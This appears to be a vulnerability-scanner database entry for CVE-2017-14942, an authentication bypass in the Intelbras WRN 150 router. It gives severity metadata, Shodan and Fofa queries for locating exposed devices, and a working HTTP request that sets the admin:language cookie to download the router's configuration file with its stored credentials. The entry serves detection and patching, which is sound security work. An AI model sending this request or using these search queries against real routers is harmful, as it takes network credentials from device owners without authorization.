| Title | Intelbras WRN 150 - Authentication Bypass |
|---|---|
| Author | ritikchaddha |
| Severity | Critical |
| Impact | Attackers can bypass authentication and download the router configuration file containing credentials, network settings, and sensitive information, potentially leading to complete network compromise. |
| Remediation | Update the router firmware to the latest version. |
| CVSS Score | 9.8 |
| EPSS Score | 0.01009 |
| CVE ID | CVE-2017-14942 |
| CWE ID | CWE-552 |
| Shodan Query | html:"WRN150" |
| Fofa Query | title="WRN150" |
| Tags | cve cve2017 intelbras auth-bypass router vuln |
Intelbras WRN 150 router is vulnerable to authentication bypass through cookie manipulation. An attacker can bypass authentication and download the router configuration file by manipulating the admin:language cookie.
GET /cgi-bin/DownloadCfg/RouterCfm.cfg HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Cookie: admin:language=pt
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-14942.yaml
🦈 Packet Capture: ⬇️ Download cve-2017-14942.pcap
N/AN/A